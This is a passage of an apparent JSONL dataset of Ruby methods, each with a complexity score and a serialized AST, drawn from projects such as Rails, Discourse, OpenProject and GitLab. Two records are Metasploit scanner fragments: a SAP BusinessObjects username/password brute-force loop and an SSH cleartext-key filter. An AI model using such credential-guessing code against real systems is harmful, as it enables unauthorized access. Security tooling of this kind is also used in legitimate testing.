end","complexity_score":35.03,"ast_json":"{\"type\":\"def\",\"children\":[\"decorate_params_value\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"hash_path\"]},{\"type\":\"arg\",\"children\":[\"value_hash\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash_path\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Hash\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash_path\"]},\"count\"]},\"==\",{\"type\":\"int\",\"children\":[1]}]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"invalid path: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash_path\"]},\"inspect\"]}]}]}]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"path_key\"]},{\"type\":\"lvasgn\",\"children\":[\"path_value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash_path\"]},\"first\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value_hash\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Hash\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value_hash\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"path_key\"]}]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"invalid value hash: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value_hash\"]},\"inspect\"]}]}]}]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path_value\"]},{\"type\":\"when\",\"children\":[{\"type\":\"nil\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value_hash\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"path_key\"]},{\"type\":\"send\",\"children\":[null,\"open_file\",{\"type\":\"send\",\"children\":[null,\"extract_upload_params_from\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value_hash\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"path_key\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@open_files\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value_hash\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"path_key\"]}]}]},{\"type\":\"lvar\",\"children\":[\"value_hash\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hash\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"decorate_params_value\",{\"type\":\"lvar\",\"children\":[\"path_value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value_hash\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"path_key\"]}]}]},{\"type\":\"lvar\",\"children\":[\"value_hash\"]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"unexpected path value: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path_value\"]},\"inspect\"]}]}]}]}]}]}]}","id":"82c3e78c-1ca9-48c7-bc12-4b64a42707ef"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/users/login_service.rb","start_line":62,"raw_source":"def set_autologin_cookie\n      return unless Setting::Autologin.enabled?\n\n      # generate a key and set cookie if autologin\n      token = Token::AutoLogin.create!(user:, data: token_session_information)\n      cookie_options = {\n        value: token.plain_value,\n        # The autologin expiry is checked on validating the token\n        # but still expire the cookie to avoid unnecessary retries\n        expires: token.expires_on,\n        path: OpenProject::Configuration[\"autologin_cookie_path\"],\n        secure: OpenProject::Configuration.https?,\n        httponly: true\n      }\n      cookies[OpenProject::Configuration[\"autologin_cookie_name\"]] = cookie_options\n\n      # Tie the current session to this autologin token already\n      assign_autologin_session(token.id)\n    end","complexity_score":15.4,"ast_json":"{\"type\":\"def\",\"children\":[\"set_autologin_cookie\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Setting\"]},\"Autologin\"]},\"enabled?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"token\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Token\"]},\"AutoLogin\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[null,\"user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"data\"]},{\"type\":\"send\",\"children\":[null,\"token_session_information\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"cookie_options\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"token\"]},\"plain_value\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"expires\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"token\"]},\"expires_on\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenProject\"]},\"Configuration\"]},\"[]\",{\"type\":\"str\",\"children\":[\"autologin_cookie_path\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"secure\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenProject\"]},\"Configuration\"]},\"https?\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"httponly\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cookies\"]},\"[]=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenProject\"]},\"Configuration\"]},\"[]\",{\"type\":\"str\",\"children\":[\"autologin_cookie_name\"]}]},{\"type\":\"lvar\",\"children\":[\"cookie_options\"]}]},{\"type\":\"send\",\"children\":[null,\"assign_autologin_session\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"token\"]},\"id\"]}]}]}]}","id":"23dbff68-a04e-4428-8dc3-9629ae7263d6"}
{"repo_name":"rouge","file_path":"./repos/rouge/lib/rouge/regex_lexer.rb","start_line":67,"raw_source":"def appended(&defn)\n        parent_defn = @defn\n        StateDSL.new(@name) do\n          instance_eval(&parent_defn)\n          instance_eval(&defn)\n        end\n      end","complexity_score":17.8,"ast_json":"{\"type\":\"def\",\"children\":[\"appended\",{\"type\":\"args\",\"children\":[{\"type\":\"blockarg\",\"children\":[\"defn\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"parent_defn\",{\"type\":\"ivar\",\"children\":[\"@defn\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StateDSL\"]},\"new\",{\"type\":\"ivar\",\"children\":[\"@name\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"instance_eval\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parent_defn\"]}]}]},{\"type\":\"send\",\"children\":[null,\"instance_eval\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"defn\"]}]}]}]}]}]}]}","id":"96889583-4617-42d2-9906-42d22a949cf8"}
{"repo_name":"discourse","file_path":"./repos/discourse/migrations/lib/converters.rb","start_line":5,"raw_source":"def self.all\n      @all_converters ||=\n        begin\n          base_path = File.join(::Migrations.root_path, \"lib\", \"converters\", \"base\")\n          core_paths = Dir[File.join(::Migrations.root_path, \"lib\", \"converters\", \"*\")]\n          private_paths = Dir[File.join(::Migrations.root_path, \"private\", \"converters\", \"*\")]\n          all_paths = core_paths - [base_path] + private_paths\n\n          all_paths.each_with_object({}) do |path, hash|\n            next unless File.directory?(path)\n\n            name = File.basename(path).downcase\n            existing_path = hash[name]\n\n            raise <<~MSG if existing_path\n                Duplicate converter name found: #{name}\n                  * #{existing_path}\n                  * #{path}\n              MSG\n\n            hash[name] = path\n          end\n        end\n    end","complexity_score":33.5,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"all\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@all_converters\"]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"base_path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Migrations\"]},\"root_path\"]},{\"type\":\"str\",\"children\":[\"lib\"]},{\"type\":\"str\",\"children\":[\"converters\"]},{\"type\":\"str\",\"children\":[\"base\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"core_paths\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Dir\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Migrations\"]},\"root_path\"]},{\"type\":\"str\",\"children\":[\"lib\"]},{\"type\":\"str\",\"children\":[\"converters\"]},{\"type\":\"str\",\"children\":[\"*\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"private_paths\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Dir\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Migrations\"]},\"root_path\"]},{\"type\":\"str\",\"children\":[\"private\"]},{\"type\":\"str\",\"children\":[\"converters\"]},{\"type\":\"str\",\"children\":[\"*\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"all_paths\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"core_paths\"]},\"-\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base_path\"]}]}]},\"+\",{\"type\":\"lvar\",\"children\":[\"private_paths\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"all_paths\"]},\"each_with_object\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]},{\"type\":\"arg\",\"children\":[\"hash\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"directory?\",{\"type\":\"lvar\",\"children\":[\"path\"]}]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"name\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"basename\",{\"type\":\"lvar\",\"children\":[\"path\"]}]},\"downcase\"]}]},{\"type\":\"lvasgn\",\"children\":[\"existing_path\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"name\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"existing_path\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Duplicate converter name found: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"  * \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"existing_path\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"  * \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}]}]}]}]}","id":"cdea9bab-06e3-40e7-b8f6-bd1f6405eeeb"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/http/sap_businessobjects_user_brute.rb","start_line":36,"raw_source":"def run_host(ip)\n    res = send_request_cgi({\n      'uri'\t=> \"/dswsbobje/services/listServices\",\n      'method' => 'GET'\n    }, 25)\n    return if not res\n\n    each_user_pass { |user, pass|\n      enum_user(user, pass)\n    }\n  end","complexity_score":7.4,"ast_json":"{\"type\":\"def\",\"children\":[\"run_host\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ip\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"str\",\"children\":[\"/dswsbobje/services/listServices\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]}]},{\"type\":\"int\",\"children\":[25]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"!\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"each_user_pass\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"arg\",\"children\":[\"pass\"]}]},{\"type\":\"send\",\"children\":[null,\"enum_user\",{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"pass\"]}]}]}]}]}","id":"553fbd33-94f6-44ca-a92b-c9d466b66b2e"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/ssh/ssh_identify_pubkeys.rb","start_line":157,"raw_source":"def pull_cleartext_keys(keys)\n    cleartext_keys = []\n    keys.each do |key|\n      next unless key[:public]\n      next if key[:private] =~ /Proc-Type:.*ENCRYPTED/\n\n      this_key = { :public => key[:public].gsub(/\\x0d/, \"\"), :private => key[:private] }\n      next if cleartext_keys.include? this_key\n\n      cleartext_keys << this_key\n    end\n    if cleartext_keys.empty?\n      print_error \"#{ip}:#{rport} SSH - No valid cleartext keys found\"\n    end\n    return cleartext_keys\n  end","complexity_score":22.1,"ast_json":"{\"type\":\"def\",\"children\":[\"pull_cleartext_keys\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"keys\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"cleartext_keys\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"keys\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"public\"]}]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"private\"]}]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Proc-Type:.*ENCRYPTED\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"this_key\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"public\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"public\"]}]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\x0d\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"private\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"private\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cleartext_keys\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"this_key\"]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cleartext_keys\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"this_key\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cleartext_keys\"]},\"empty?\"]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ip\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\" SSH - No valid cleartext keys found\"]}]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cleartext_keys\"]}]}]}]}","id":"c0925b4d-a485-4db7-aa3d-899f3f4f8e29"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/associations/association.rb","start_line":320,"raw_source":"def find_target?\n          !loaded? && (!owner.new_record? || foreign_key_present?) && klass\n        end","complexity_score":12.7,"ast_json":"{\"type\":\"def\",\"children\":[\"find_target?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"loaded?\"]},\"!\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"owner\"]},\"new_record?\"]},\"!\"]},{\"type\":\"send\",\"children\":[null,\"foreign_key_present?\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"klass\"]}]}]}","id":"9a3eefde-a84f-4c3b-9217-921bfef7b24d"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/vm_or_template/operations/configuration.rb","start_line":86,"raw_source":"def add_disk(disk_name, disk_size_mb, options = {})\n    raise _(\"VM has no EMS, unable to add disk\") unless ext_management_system\n\n    raw_add_disk(disk_name, disk_size_mb, options)\n  end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"add_disk\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"disk_name\"]},{\"type\":\"arg\",\"children\":[\"disk_size_mb\"]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ext_management_system\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"VM has no EMS, unable to add disk\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"raw_add_disk\",{\"type\":\"lvar\",\"children\":[\"disk_name\"]},{\"type\":\"lvar\",\"children\":[\"disk_size_mb\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}","id":"99959e5c-21ba-4e16-9f1d-7f703b635188"}
{"repo_name":"hanami","file_path":"./repos/hanami/spec/support/app_integration.rb","start_line":22,"raw_source":"def self.included(base)\n        super\n\n        base.class_eval do\n          let!(:node_modules_path) { File.join(Dir.pwd, \"node_modules\") }\n        end\n      end","complexity_score":10.8,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"included\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"base\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base\"]},\"class_eval\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"let!\",{\"type\":\"sym\",\"children\":[\"node_modules_path\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Dir\"]},\"pwd\"]},{\"type\":\"str\",\"children\":[\"node_modules\"]}]}]}]}]}]}","id":"0abbcd0d-c285-4484-8d86-155f66caf4f7"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/clusters/platforms/kubernetes.rb","start_line":289,"raw_source":"def enforce_namespace_to_lower_case\n        self.namespace = self.namespace&.downcase\n      end","complexity_score":3.3,"ast_json":"{\"type\":\"def\",\"children\":[\"enforce_namespace_to_lower_case\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"namespace=\",{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"namespace\"]},\"downcase\"]}]}]}","id":"212a6dda-b014-472f-abca-6a7045294f55"}
{"repo_name":"doorkeeper","file_path":"./repos/doorkeeper/spec/support/helpers/model_helper.rb","start_line":4,"raw_source":"def client_exists(client_attributes = {})\n    @client = FactoryBot.create(:application, client_attributes)\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"client_exists\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"client_attributes\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@client\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FactoryBot\"]},\"create\",{\"type\":\"sym\",\"children\":[\"application\"]},{\"type\":\"lvar\",\"children\":[\"client_attributes\"]}]}]}]}","id":"792a6346-58c6-44ce-b6f7-b09e113c6a12"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/tasks/database_tasks_test.rb","start_line":1745,"raw_source":"def test_setting_schema_dump_to_nil\n      ActiveRecord::Tasks::DatabaseTasks.stub(:db_dir, \"/tmp\") do\n        configurations = {\n          \"development\" => { \"primary\" => { \"adapter\" => \"abstract\", \"database\" => \"dev-db\", \"schema_dump\" => false } },\n        }\n        with_stubbed_configurations(configurations) do\n          assert_nil ActiveRecord::Tasks::DatabaseTasks.schema_dump_path(config_for(\"development\", \"primary\"))\n        end\n      end\n    end","complexity_score":10.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_setting_schema_dump_to_nil\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Tasks\"]},\"DatabaseTasks\"]},\"stub\",{\"type\":\"sym\",\"children\":[\"db_dir\"]},{\"type\":\"str\",\"children\":[\"/tmp\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"configurations\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"development\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"primary\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"adapter\"]},{\"type\":\"str\",\"children\":[\"abstract\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"database\"]},{\"type\":\"str\",\"children\":[\"dev-db\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"schema_dump\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_stubbed_configurations\",{\"type\":\"lvar\",\"children\":[\"configurations\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Tasks\"]},\"DatabaseTasks\"]},\"schema_dump_path\",{\"type\":\"send\",\"children\":[null,\"config_for\",{\"type\":\"str\",\"children\":[\"development\"]},{\"type\":\"str\",\"children\":[\"primary\"]}]}]}]}]}]}]}]}","id":"56e778c2-63b7-470e-8c21-1d64f5f9ff45"}
{"repo_name":"rails","file_path":"./repos/rails/actioncable/lib/action_cable/connection/test_case.rb","start_line":217,"raw_source":"def build_test_request(path, params: nil, headers: {}, session: {}, env: {})\n            wrapped_headers = ActionDispatch::Http::Headers.from_hash(headers)\n\n            uri = URI.parse(path)\n\n            query_string = params.nil? ? uri.query : params.to_query\n\n            request_env = {\n              \"QUERY_STRING\" => query_string,\n              \"PATH_INFO\" => uri.path\n            }.merge(env)\n\n            if wrapped_headers.present?\n              ActionDispatch::Http::Headers.from_hash(request_env).merge!(wrapped_headers)\n            end\n\n            TestRequest.create(request_env).tap do |request|\n              request.session = session.with_indifferent_access\n              request.cookie_jar = cookies\n            end\n          end","complexity_score":24.8,"ast_json":"{\"type\":\"def\",\"children\":[\"build_test_request\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]},{\"type\":\"kwoptarg\",\"children\":[\"params\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"headers\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"session\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"env\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"wrapped_headers\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionDispatch\"]},\"Http\"]},\"Headers\"]},\"from_hash\",{\"type\":\"lvar\",\"children\":[\"headers\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"uri\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"URI\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"path\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"query_string\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"query\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"to_query\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"request_env\",{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"QUERY_STRING\"]},{\"type\":\"lvar\",\"children\":[\"query_string\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PATH_INFO\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"path\"]}]}]},\"merge\",{\"type\":\"lvar\",\"children\":[\"env\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"wrapped_headers\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\"